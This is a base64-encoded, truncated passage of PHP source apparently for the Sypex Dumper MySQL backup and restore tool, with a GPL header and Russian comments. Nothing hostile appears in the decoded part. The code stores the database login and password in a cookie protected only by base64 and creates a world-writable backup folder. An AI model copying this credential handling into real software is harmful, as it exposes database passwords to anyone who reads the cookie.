tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXwKfCBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yICAgICAgICAgICAgIHwKfCBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAgICAgICAgICAgICAgIHwKfCBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMiAgICAgICAgICAgIHwKfCBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4gICAgICAgICAgICAgICAgICAgIHwKfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCBUaGlzIHByb2dyYW0gaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwgICAgICAgICAgIHwKfCBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZiAgICAgICAgICAgIHwKfCBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlICAgICAgICAgICAgIHwKfCBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAgICAgICAgIHwKfCBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSAgICAgICAgICAgICAgIHwKfCBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UgLSBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEgMDIxMTEtMTMwNyxVU0EuIHwKXCoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIHBhdGggYW5kIFVSTCB0byBiYWNrdXAgZmlsZXMKZGVmaW5lKCdQQVRIJywgJ2JhY2t1cC8nKTsKZGVmaW5lKCdVUkwnLCAgJ2JhY2t1cC8nKTsKLy8gTWF4IHRpbWUgZm9yIHRoaXMgc2NyaXB0IHdvcmsgKGluIHNlY29uZHMpCi8vIDAgLSBubyBsaW1pdApkZWZpbmUoJ1RJTUVfTElNSVQnLCA2MDApOwovLyDQntCz0YDQsNC90LjRh9C10L3QuNC1INGA0LDQt9C80LXRgNCwINC00LDQvdC90YvRhSDQtNC+0YHRgtCw0LLQsNC10LzRi9GFINC30LAg0L7QtNC90L4g0L7QsdGA0LDRidC10L3QuNGPINC6INCR0JQgKNCyINC80LXQs9Cw0LHQsNC50YLQsNGFKQovLyDQndGD0LbQvdC+INC00LvRjyDQvtCz0YDQsNC90LjRh9C10L3QuNGPINC60L7Qu9C40YfQtdGB0YLQstCwINC/0LDQvNGP0YLQuCDQv9C+0LbQuNGA0LDQtdC80L7QuSDRgdC10YDQstC10YDQvtC8INC/0YDQuCDQtNCw0LzQv9C1INC+0YfQtdC90Ywg0L7QsdGK0LXQvNC90YvRhSDRgtCw0LHQu9C40YYKZGVmaW5lKCdMSU1JVCcsIDEpOwovLyBteXNxbCBzZXJ2ZXIKZGVmaW5lKCdEQkhPU1QnLCAnbG9jYWxob3N0OjMzMDYnKTsKLy8gRGF0YWJhc2VzLiBJdCBpcyBuZWVkIGlmIHNlcnZlciBkb2VzIG5vdCBhbGxvdyBsaXN0IGRhdGFiYXNlIG5hbWVzCi8vIGFuZCBub3RoaW5nIHNob3dzIGFmdGVyIGxvZ2luLiAoc2VwYXJhdGVkIGJ5IGNvbW1hKQpkZWZpbmUoJ0RCTkFNRVMnLCAnJyk7Ci8vINCa0L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSBNeVNRTAovLyBhdXRvIC0g0LDQstGC0L7QvNCw0YLQuNGH0LXRgdC60LjQuSDQstGL0LHQvtGAICjRg9GB0YLQsNC90LDQstC70LjQstCw0LXRgtGB0Y8g0LrQvtC00LjRgNC+0LLQutCwINGC0LDQsdC70LjRhtGLKSwgY3AxMjUxIC0gd2luZG93cy0xMjUxLCDQuCDRgi7Qvy4KZGVmaW5lKCdDSEFSU0VUJywgJ2F1dG8nKTsKLy8g0JrQvtC00LjRgNC+0LLQutCwINGB0L7QtdC00LjQvdC10L3QuNGPINGBIE15U1FMINC/0YDQuCDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC4Ci8vINCd0LAg0YHQu9GD0YfQsNC5INC/0LXRgNC10L3QvtGB0LAg0YHQviDRgdGC0LDRgNGL0YUg0LLQtdGA0YHQuNC5IE15U1FMICjQtNC+IDQuMSksINGDINC60L7RgtC+0YDRi9GFINC90LUg0YPQutCw0LfQsNC90LAg0LrQvtC00LjRgNC+0LLQutCwINGC0LDQsdC70LjRhiDQsiDQtNCw0LzQv9C1Ci8vINCf0YDQuCDQtNC+0LHQsNCy0LvQtdC90LjQuCAnZm9yY2VkLT4nLCDQuiDQv9GA0LjQvNC10YDRgyAnZm9yY2VkLT5jcDEyNTEnLCDQutC+0LTQuNGA0L7QstC60LAg0YLQsNCx0LvQuNGGINC/0YDQuCDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC4INCx0YPQtNC10YIg0L/RgNC40L3Rg9C00LjRgtC10LvRjNC90L4g0LfQsNC80LXQvdC10L3QsCDQvdCwIGNwMTI1MQovLyDQnNC+0LbQvdC+INGC0LDQutC20LUg0YPQutCw0LfRi9Cy0LDRgtGMINGB0YDQsNCy0L3QtdC90LjQtSDQvdGD0LbQvdC+0LUg0Log0L/RgNC40LzQtdGA0YMgJ2NwMTI1MV91a3JhaW5pYW5fY2knINC40LvQuCAnZm9yY2VkLT5jcDEyNTFfdWtyYWluaWFuX2NpJwpkZWZpbmUoJ1JFU1RPUkVfQ0hBUlNFVCcsICd1dGY4X2JpbicpOwovLyBzYXZlIHNldHRpbmdzIGFuZCBsYXN0IGFjdGlvbnMKLy8gMCAtIGRpc2FibGUsIDEgLSBlbmFibGUKZGVmaW5lKCdTQycsIDEpOwovLyBUYWJsZSB0eXBlcyBmb3Igc3RvcmUgc3RydWN0IG9ubHkgKHNlcGFyYXRlZCBieSBjb21tYSkKZGVmaW5lKCdPTkxZX0NSRUFURScsICdNUkdfTXlJU0FNLE1FUkdFLEhFQVAsTUVNT1JZJyk7Ci8vIEdsb2JhbCBzdGF0cwovLyAwIC0gZGlzYWJsZSwgMSAtIGVuYWJsZQpkZWZpbmUoJ0dTJywgMCk7CgovLyBFbmQgY29uZmlndXJhdGlvbiBibG9jayAtIHN0YXJ0IGNvZGUgYmxvY2sKJGR1bXBlcl9maWxlID0gYmFzZW5hbWUoX19GSUxFX18pOwoKJGlzX3NhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpID09ICcxJyA/IDEgOiAwOwppZiAoISRpc19zYWZlX21vZGUgJiYgZnVuY3Rpb25fZXhpc3RzKCdzZXRfdGltZV9saW1pdCcpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsKCmhlYWRlcigiRXhwaXJlczogVHVlLCAxIEp1bCAyMDAzIDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIgLiBnbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikgLiAiIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoKJHRpbWVyID0gYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpOwpvYl9pbXBsaWNpdF9mbHVzaCgpOwplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwoKJGF1dGggPSAwOwokZXJyb3IgPSAnJzsKaWYgKCFlbXB0eSgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzcyddKSkgewogICAgICAgIGlmIChAbXlzcWxfY29ubmVjdChEQkhPU1QsICRfUE9TVFsnbG9naW4nXSwgJF9QT1NUWydwYXNzJ10pKXsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgic3hkIiwgYmFzZTY0X2VuY29kZSgiU0tEMTAxOnskX1BPU1RbJ2xvZ2luJ119OnskX1BPU1RbJ3Bhc3MnXX0iKSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkZHVtcGVyX2ZpbGUiKTsKICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSAnIycgLiBteXNxbF9lcnJubygpIC4gJzogJyAuIG15c3FsX2Vycm9yKCk7CiAgICAgICAgfQp9CmVsc2VpZiAoIWVtcHR5KCRfQ09PS0lFWydzeGQnXSkpIHsKICAgICR1c2VyID0gZXhwbG9kZSgiOiIsIGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbJ3N4ZCddKSk7CiAgICAgICAgaWYgKEBteXNxbF9jb25uZWN0KERCSE9TVCwgJHVzZXJbMV0sICR1c2VyWzJdKSl7CiAgICAgICAgICAgICAgICAkYXV0aCA9IDE7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAkZXJyb3IgPSAnIycgLiBteXNxbF9lcnJubygpIC4gJzogJyAuIG15c3FsX2Vycm9yKCk7CiAgICAgICAgfQp9CgppZiAoISRhdXRoIHx8IChpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pICYmICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSA9PSAncmVsb2FkJykpIHsKICAgICAgICBzZXRjb29raWUoInN4ZCIpOwogICAgICAgIGVjaG8gdHBsX3BhZ2UodHBsX2F1dGgoJGVycm9yID8gdHBsX2Vycm9yKCRlcnJvcikgOiAnJyksICI8U0NSSVBUPmlmIChqc0VuYWJsZWQpIHtkb2N1bWVudC53cml0ZSgnPElOUFVUIFRZUEU9c3VibWl0IFZBTFVFPUFwcGx5PicpO308L1NDUklQVD4iKTsKICAgICAgICBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0aW1lcicpLmlubmVySFRNTCA9ICciIC4gcm91bmQoYXJyYXlfc3VtKGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSkpIC0gJHRpbWVyLCA0KSAuICIgc2VjLic8L1NDUklQVD4iOwogICAgICAgIGV4aXQ7Cn0KaWYgKCFmaWxlX2V4aXN0cyhQQVRIKSAmJiAhJGlzX3NhZmVfbW9kZSkgewogICAgbWtkaXIoUEFUSCwgMDc3NykgfHwgdHJpZ2dlcl9lcnJvcigiQ2FuJ3QgY3JlYXRlIGRpciBmb3IgYmFja3VwIiwgRV9VU0VSX0VSUk9SKTsKfQoKJFNLID0gbmV3IGR1bXBlcigpOwpkZWZpbmUoJ0NfREVGQVVMVCcsIDEpOwpkZWZpbmUoJ0NfUkVTVUxUJywgMik7CmRlZmluZSgnQ19FUlJPUicsIDMpOwpkZWZpbmUoJ0NfV0FSTklORycsIDQpOwoKJGFjdGlvbiA9IGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pID8gJF9SRVFVRVNUWydhY3Rpb24nXSA6ICcnOwpzd2l0Y2goJGFjdGlvbil7CiAgICAgICAgY2FzZSAnYmFja3VwJzoKICAgICAgICAgICAgICAgICRTSy0+YmFja3VwKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZXN0b3JlJzoKICAgICAgICAgICAgICAgICRTSy0+cmVzdG9yZSgpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICRTSy0+bWFpbigpOwp9CgpteXNxbF9jbG9zZSgpOwoKZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGltZXInKS5pbm5lckhUTUwgPSAnIiAuIHJvdW5kKGFycmF5X3N1bShleHBsb2RlKCcgJywgbWljcm90aW1lKCkpKSAtICR0aW1lciwgNCkgLiAiIHNlYy4nPC9TQ1JJUFQ+IjsKCmNsYXNzIGR1bXBlciB7CiAgICAgICAgZnVuY3Rpb24gZHVtcGVyKCkgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiKSkgewogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUoUEFUSCAuICJkdW1wZXIuY2ZnLnBocCIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnbGFzdF9hY3Rpb24nXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfYmFja3VwJ10gPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsndGFibGVzJ10gPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXSAgPSA3OwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWydsYXN0X2RiX3Jlc3RvcmUnXSA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPnRhYnMgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlY29yZHMgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPnNpemUgPSAwOwogICAgICAgICAgICAgICAgJHRoaXMtPmNvbXAgPSAwOwoKICAgICAgICAgICAgICAgIC8vINCS0LXRgNGB0LjRjyBNeVNRTCDQstC40LTQsCA0MDEwMQogICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL14oXGQrKVwuKFxkKylcLihcZCspLyIsIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLCAkbSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+bXlzcWxfdmVyc2lvbiA9IHNwcmludGYoIiVkJTAyZCUwMmQiLCAkbVsxXSwgJG1bMl0sICRtWzNdKTsKCiAgICAgICAgICAgICAgICAkdGhpcy0+b25seV9jcmVhdGUgPSBleHBsb2RlKCcsJywgT05MWV9DUkVBVEUpOwogICAgICAgICAgICAgICAgJHRoaXMtPmZvcmNlZF9jaGFyc2V0ICA9IGZhbHNlOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlc3RvcmVfY2hhcnNldCA9ICR0aGlzLT5yZXN0b3JlX2NvbGxhdGUgPSAnJzsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvXihmb3JjZWQtPik/KChbYS16MC05XSspKFxfXHcrKT8pJC8iLCBSRVNUT1JFX0NIQVJTRVQsICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm9yY2VkX2NoYXJzZXQgID0gJG1hdGNoZXNbMV0gPT0gJ2ZvcmNlZC0+JzsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlc3RvcmVfY2hhcnNldCA9ICRtYXRjaGVzWzNdOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cmVzdG9yZV9jb2xsYXRlID0gIWVtcHR5KCRtYXRjaGVzWzRdKSA/ICcgQ09MTEFURSAnIC4gJG1hdGNoZXNbMl0gOiAnJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGJhY2t1cCgpIHsKICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUKSkgeyR0aGlzLT5tYWluKCk7fQogICAgICAgICAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoIlNYRF9lcnJvckhhbmRsZXIiKTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxBIElEPXNhdmUgSFJFRj0nJyBTVFlMRT0nZGlzcGxheTogbm9uZTsnPkRvd25sb2FkIGZpbGU8L0E+ICZuYnNwOyA8SU5QVVQgSUQ9YmFjayBUWVBFPWJ1dHRvbiBWQUxVRT0nQmFjaycgRElTQUJMRUQgb25DbGljaz1cImhpc3RvcnkuYmFjaygpO1wiPiI7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9wYWdlKHRwbF9wcm9jZXNzKCJEQiBiYWNrdXAgaW4gcHJvZ3Jlc3MiKSwgJGJ1dHRvbnMpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfYWN0aW9uJ10gICAgID0gMDsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfYmFja3VwJ10gID0gaXNzZXQoJF9QT1NUWydkYl9iYWNrdXAnXSkgPyAkX1BPU1RbJ2RiX2JhY2t1cCddIDogJyc7CiAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWyd0YWJsZXNfZXhjbHVkZSddICA9ICFlbXB0eSgkX1BPU1RbJ3RhYmxlcyddKSAmJiAkX1BPU1RbJ3RhYmxlcyddezB9ID09ICdeJyA/IDEgOiAwOwogICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsndGFibGVzJ10gICAgICAgICAgPSBpc3NldCgkX1BPU1RbJ3RhYmxlcyddKSA/ICRfUE9TVFsndGFibGVzJ10gOiAnJzsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gICAgID0gaXNzZXQoJF9QT1NUWydjb21wX21ldGhvZCddKSA/IGludHZhbCgkX1BPU1RbJ2NvbXBfbWV0aG9kJ10pIDogMDsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXSAgICAgID0gaXNzZXQoJF9QT1NUWydjb21wX2xldmVsJ10pID8gaW50dmFsKCRfUE9TVFsnY29tcF9sZXZlbCddKSA6IDA7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fc2F2ZSgpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ3RhYmxlcyddICAgICAgICAgID0gZXhwbG9kZSgiLCIsICR0aGlzLT5TRVRbJ3RhYmxlcyddKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyd0YWJsZXMnXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0aGlzLT5TRVRbJ3RhYmxlcyddIEFTICR0YWJsZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZSA9IHByZWdfcmVwbGFjZSgiL1teXHcqP15dLyIsICIiLCAkdGFibGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gYXJyYXkoICIvXD8vIiwgIi9cKi8iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVwbGFjZSA9IGFycmF5KCAiLiIsICIuKj8iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsc1tdID0gcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCAkcmVwbGFjZSwgJHRhYmxlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ3RhYmxlc19leGNsdWRlJ10gPSAxOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U0VUWydjb21wX2xldmVsJ10gPT0gMCkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPSAwOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGRiID0gJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXTsKCiAgICAgICAgICAgICAgICBpZiAoISRkYikgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQntCo0JjQkdCa0JAhINCd0LUg0YPQutCw0LfQsNC90LAg0LHQsNC30LAg0LTQsNC90L3Ri9GFISIsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9lbmFibGVCYWNrKCk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIkNvbm5lY3Rpb24gdG8gREIgYHskZGJ9YC4iKTsKICAgICAgICAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC1INGD0LTQsNC10YLRgdGPINCy0YvQsdGA0LDRgtGMINCx0LDQt9GDINC00LDQvdC90YvRhS48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7CiAgICAgICAgICAgICAgICAkdGFibGVzID0gYXJyYXkoKTsKICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIik7CiAgICAgICAgICAgICAgICAkYWxsID0gMDsKICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1cyA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRibHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR0YmxzIEFTICR0YWJsZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4Y2x1ZGUgPSBwcmVnX21hdGNoKCIvXlxeLyIsICR0YWJsZSkgPyB0cnVlIDogZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZXhjbHVkZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9eeyR0YWJsZX0kL2kiLCAkcm93WzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdGF0dXMgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFsbCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZXhjbHVkZSAmJiBwcmVnX21hdGNoKCIveyR0YWJsZX0kL2kiLCAkcm93WzBdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3RhdHVzID0gLTE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1cyA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzdGF0dXMgPj0gJGFsbCkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGFibGVzW10gPSAkcm93WzBdOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgICAgICAgICAkdGFicyA9IGNvdW50KCR0YWJsZXMpOwogICAgICAgICAgICAgICAgLy8g0J7Qv9GA0LXQtNC10LvQtdC90LjQtSDRgNCw0LfQvNC10YDQvtCyINGC0LDQsdC70LjRhgogICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIpOwogICAgICAgICAgICAgICAgJHRhYmluZm8gPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHRhYl9jaGFyc2V0ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICR0YWJfdHlwZSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkdGFiaW5mb1swXSA9IDA7CiAgICAgICAgICAgICAgICAkaW5mbyA9ICcnOwogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vcHJpbnRfcigkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGluX2FycmF5KCRpdGVtWydOYW1lJ10sICR0YWJsZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ1Jvd3MnXSA9IGVtcHR5KCRpdGVtWydSb3dzJ10pID8gMCA6ICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYmluZm9bMF0gKz0gJGl0ZW1bJ1Jvd3MnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFiaW5mb1skaXRlbVsnTmFtZSddXSA9ICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpemUgKz0gJGl0ZW1bJ0RhdGFfbGVuZ3RoJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnNpemVbJGl0ZW1bJ05hbWUnXV0gPSAxICsgcm91bmQoTElNSVQgKiAxMDQ4NTc2IC8gKCRpdGVtWydBdmdfcm93X2xlbmd0aCddICsgMSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpdGVtWydSb3dzJ10pICRpbmZvIC49ICJ8IiAuICRpdGVtWydSb3dzJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkaXRlbVsnQ29sbGF0aW9uJ10pICYmIHByZWdfbWF0Y2goIi9eKFthLXowLTldKylfL2kiLCAkaXRlbVsnQ29sbGF0aW9uJ10sICRtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYl9jaGFyc2V0WyRpdGVtWydOYW1lJ11dID0gJG1bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJfdHlwZVskaXRlbVsnTmFtZSddXSA9IGlzc2V0KCRpdGVtWydFbmdpbmUnXSkgPyAkaXRlbVsnRW5naW5lJ10gOiAkaXRlbVsnVHlwZSddOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkc2hvdyA9IDEwICsgJHRhYmluZm9bMF0gLyA1MDsKICAgICAgICAgICAgICAgICRpbmZvID0gJHRhYmluZm9bMF0gLiAkaW5mbzsKICAgICAgICAgICAgICAgICRuYW1lID0gJGRiIC4gJ18nIC4gZGF0ZSgiWS1tLWRfSC1pIik7CiAgICAgICAgJGZwID0gJHRoaXMtPmZuX29wZW4oJG5hbWUsICJ3Iik7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJDcmVhdGUgZmlsZSB3aXRoIGJhY2t1cCBvZiBEQjo8QlI+XFxuICAtICB7JHRoaXMtPmZpbGVuYW1lfSIpOwogICAgICAgICAgICAgICAgJHRoaXMtPmZuX3dyaXRlKCRmcCwgIiNTS0QxMDF8eyRkYn18eyR0YWJzfXwiIC4gZGF0ZSgiWS5tLmQgSDppOnMiKSAuInx7JGluZm99XG5cbiIpOwogICAgICAgICAgICAgICAgJHQ9MDsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFVCBTUUxfUVVPVEVfU0hPV19DUkVBVEUgPSAxIik7CiAgICAgICAgICAgICAgICAvLyDQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0L/QviDRg9C80L7Qu9GH0LDQvdC40Y4KICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bXlzcWxfdmVyc2lvbiA+IDQwMTAxICYmIENIQVJTRVQgIT0gJ2F1dG8nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiBDSEFSU0VUIC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtdGD0LTQsNC10YLRgdGPINC40LfQvNC10L3QuNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDINGB0L7QtdC00LjQvdC10L3QuNG